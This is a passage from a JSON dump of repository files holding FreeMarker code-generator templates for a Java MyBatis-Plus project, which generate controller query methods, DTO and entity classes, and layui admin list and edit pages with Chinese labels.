${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return Result.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public Result findListByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return Result.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/dto.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.jun.plugin.common.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Dto  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Dto() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/edit.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/entity.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.jun.plugin.common.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/list.html.ftl",
    "content": "﻿<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n    <!--[if lt IE 9]>\n    <script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n    <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n    <![endif]-->\n</head>\n<body>\n<!-- 正文开始 -->\n<div class=\"layui-fluid\">\n    <div class=\"layui-card\">\n        <div class=\"layui-card-body\">\n            <!-- 表格工具栏 -->\n            <form class=\"layui-form toolbar\">\n                <div class=\"layui-form-item\">\n                    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            <#if fieldItem.nullable==false>\n                            <div class=\"layui-inline\">\n                                <label class=\"layui-form-label\">${fieldItem.fieldComment}:</label>\n                                <div class=\"layui-input-inline\">\n                                    <input name=\"${fieldItem.fieldName}\" class=\"layui-input\" placeholder=\"输入${fieldItem.fieldComment}\"/>\n                                </div>\n                            </div>\n                              </#if>\n                        </#list>\n                    </#if>\n                    <#--<div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色名:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleName\" class=\"layui-input\" placeholder=\"输入角色名\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色代码:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleCode\" class=\"layui-input\" placeholder=\"输入角色代码\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">备&emsp;注:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"comments\" class=\"layui-input\" placeholder=\"输入备注\"/>\n                        </div>\n                    </div>-->\n                    <div class=\"layui-inline\">&emsp;\n                        <button class=\"layui-btn icon-btn\" lay-filter=\"roleTbSearch\" lay-submit>\n                            <i class=\"layui-icon\">&#xe615;</i>搜索\n                        </button>\n                    </div>\n                </div>\n            </form>\n            <!-- 数据表格 -->\n            <table id=\"roleTable\" lay-filter=\"roleTable\"></table>\n        </div>\n    </div>\n</div>\n\n<!-- 表格操作列 -->\n<script type=\"text/html\" id=\"roleTbBar\">\n    <a class=\"layui-btn layui-btn-primary layui-btn-xs\" lay-event=\"edit\">修改</a>\n    <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\">删除</a>\n<#--    <a class=\"layui-btn layui-btn-warm layui-btn-xs\" lay-event=\"auth\">权限分配</a>-->\n</script>\n<!-- 表单弹窗 -->\n<script type=\"text/html\" id=\"roleEditDialog\">\n    <form id=\"roleEditForm\" lay-filter=\"roleEditForm\" class=\"layui-form model-form\">\n        <input name=\"roleId\" type=\"hidden\"/>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <div class=\"layui-form-item\">\n                    <label class=\"layui-form-label layui-form-required\">${fieldItem.fieldComment}:</label>\n                    <div class=\"layui-input-block\">\n                        <input name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\" class=\"layui-input\"\n                               lay-verType=\"tips\"  <#if fieldItem.nullable==false>lay-verify=\"required\" required</#if>  />\n\n                    </div>\n                </div>\n            </#list>\n        </#if>\n\n        <#--<div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色名:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleName\" placeholder=\"请输入角色名\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色代码:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleCode\" placeholder=\"请输入角色代码\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label\">备注:</label>\n            <div class=\"layui-input-block\">\n                <textarea name=\"comments\" placeholder=\"请输入备注\" class=\"layui-textarea\"></textarea>\n            </div>\n        </div>-->\n        <div class=\"layui-form-item text-right\">\n            <button class=\"layui-btn\" lay-filter=\"roleEditSubmit\" lay-submit>保存</button>\n            <button class=\"layui-btn layui-btn-primary\" type=\"button\" ew-event=\"closeDialog\">取消</button>\n        </div>\n    </form>\n</script>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/libs/jquery/jquery-3.2.1.min.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/core.util.js\"></script>\n<script>\n    layui.use(['layer', 'form', 'table', 'util', 'admin', 'zTree'], function () {\n        var $ = layui.jquery;\n        var layer = layui.layer;\n        var form = layui.form;\n        var table = layui.table;\n        var util = layui.util;\n        var admin = layui.admin;\n\n        /* 渲染表格 */\n        var insTb = table.render({\n            elem: '#roleTable',\n            method: 'post',\n            contentType: 'application/json',\n            url: '/${classInfo.className?uncap_first}/list',\n            page: true,\n            toolbar: ['<p>',\n                '<button lay-event=\"add\" class=\"layui-btn layui-btn-sm icon-btn\"><i class=\"layui-icon\">&#xe654;</i>添加</button>&nbsp;',\n                '<button lay-event=\"del\" class=\"layui-btn layui-btn-sm layui-btn-danger icon-btn\"><i class=\"layui-icon\">&#xe640;</i>删除</button>',\n                '</p>'].join(''),\n            cellMinWidth: 100,\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#roleTbBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        /* 表格搜索 */\n        form.on('submit(roleTbSearch)', function (data) {\n            insTb.reload({where: data.field, page: {curr: 1}});\n            return false;\n        });\n\n        /* 表格工具条点击事件 */\n        table.on('tool(roleTable)', function (obj) {\n            if (obj.event === 'edit') { // 修改\n                showEditModel(obj.data);\n            } else if (obj.event === 'del') { // 删除\n                //doDel(obj);\n                doDel({ids: [obj.data.id]});\n            } else if (obj.event === 'auth') {  // 权限管理\n                showPermModel(obj.data.roleId);\n            }\n        });\n\n        /* 表格头工具栏点击事件 */\n        table.on('toolbar(roleTable)', function (obj) {\n            if (obj.event === 'add') { // 添加\n                showEditModel();\n            } else if (obj.event === 'del') { // 删除\n                var checkRows = table.checkStatus('roleTable');\n                if (checkRows.data.length === 0) {\n                    layer.msg('请选择要删除的数据', {icon: 2});\n                    return;\n                }\n                var ids = checkRows.data.map(function (d) {\n                    return d.id; //TODO\n                });\n                doDel({ids: ids});\n            }\n        });\n\n        /* 显示表单弹窗 */\n        function showEditModel(mData) {\n            admin.open({\n                type: 1,\n                title: (mData ? '修改' : '添加') + '${classInfo.classComment}'  ,\n                content: $('#roleEditDialog').html(),\n                success: function (layero, dIndex) {\n                    // 回显表单数据\n                    form.val('roleEditForm', mData);\n                    // 表单提交事件\n                    form.on('submit(roleEditSubmit)', function (data) {\n                        var loadIndex = layer.load(2);\n                        // $.get(mData ? '../../json/ok.json' : '../../json/ok.json', data.field, function (res) {\n                        //     layer.close(loadIndex);\n                        //     if (200 === res.code) {\n                        //         layer.close(dIndex);\n                        //         layer.msg(res.msg, {icon: 1});\n                        //         insTb.reload({page: {curr: 1}});\n                        //     } else {\n                        //         layer.msg(res.msg, {icon: 2});\n                        //     }\n                        // }, 'json');\n                        if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n                            CoreUtil.sendPost(\"/${classInfo.className?uncap_first}/add\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }else {\n                            CoreUtil.sendPut(\"/${classInfo.className?uncap_first}/update\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }\n                        return false;\n                    });\n                }\n            });\n        }\n\n        /* 删除 */\n        function doDel(obj) {\n            layer.confirm('确定要删除选中数据吗？', {\n                skin: 'layui-layer-admin',\n                shade: .1\n            }, function (i) {\n                layer.close(i);\n                CoreUtil.sendDelete(\"/${classInfo.className?uncap_first}/delete\",obj.ids,function (res) {\n                    layer.msg(res.msg, {time:1000},function () {\n                        layer.msg(res.msg, {icon: 1});\n                        insTb.reload({page: {curr: 1}});\n                    });\n                });\n            });\n        }\n\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/list.html.v1.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n</head>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n            <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            contentType: 'application/json',\n            url: '${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/list.html.vm.ftl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n  <link rel=\"stylesheet\" href=\"/css/public.css\" media=\"all\">\n  <style>\n\t\telement.style { width: 180px; }\n\t\t.layui-form-label.layui-required:after{\n\t        content: '*';\n\t\t    color: red;\n\t\t    position: absolute;\n\t\t    margin-left: 4px;\n\t\t    font-weight: bold;\n\t\t    line-height: 1.8em;\n\t\t    top: 6px;\n\t\t    right: 5px;\n\t    }\n  </style>\n</head>\n<body>\n<!-- 新增修改的DIV页面-begin,默认hidden -->\n<div class=\"panel panel-default operation\" hidden>\n<!--   <div class=\"panel-heading title\"></div> -->\n<div class=\"layui-card-body\">\n#*\n<fieldset class=\"layui-elem-field layui-field-title\" style=\"margin-top: 20px;\">\n    <legend>基本信息</legend>\n</fieldset>\n*#\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"#*width: 700px;*#margin-top: 10px\">\n###遍历新增修改表单\n#foreach($column in $columns)\n  #if($column.columnName == $pk.columnName)\n    <input name=\"${column.attrname}\" id=\"${column.attrname}\" hidden/>\n  #else\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n\n<div class=\"layui-form-item\" #if($column.columnName == $pk.columnName) ,hide:true #end  #if($column.comments=='') style=\"display:none\" #end>\n\n#if($column.dataType != 'text') <div class=\"layui-inline\"> #end\n      <label class=\"layui-form-label #if($column.isNull == 'NO') layui-required #end \" >${column.comments}</label>\n      <div class=\"#if($column.dataType == 'text') layui-input-block #else layui-input-inline #end\"> \n##注解支持，不展示\n#if($column.dataType == 'datetime')\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\" lay-verify=\"#if($column.isNull == 'NO')required|#end date\" #if($column.isNull == 'NO') placeholder=\"yyyy-MM-dd\" #end autocomplete=\"off\" class=\"layui-input\">\n#elseif($column.columnName.toString().contains(\"dict\"))\n\t<select id=\"${column.attrname}\" name=\"${column.attrname}\" lay-filter=\"${column.attrname}\"  th:with=\"type=${@sysDictService.getType('${column.columnName}')}\"  >\n        <option value=\"\">请选择</option>\n        <option th:each=\"dict : ${type}\" th:text=\"${dict.label}\" th:value=\"${dict.value}\"></option> \n    </select>\n#elseif($column.dataType == 'text')\n\t    <textarea  #if($column.isNull == 'NO') placeholder=\"请输入内容\" #end class=\"layui-textarea\" name=\"${column.attrname}\"  id=\"${column.attrname}\"></textarea>\n#else\n\t#if($column.isNull == 'NO') \n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  lay-verify=\"required|${column.attrname}\" lay-max=\"${column.maxLength}\" #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end  autocomplete=\"off\" class=\"layui-input\">\n\t#else\n\t<input type=\"text\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end autocomplete=\"off\" class=\"layui-input\">\n\t#end\n#end\n    </div>\n  #if($column.dataType != 'text') </div> #end\n \n </div>\n#end\n#end\n<div class=\"layui-form-item\" id=\"buttonSave\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  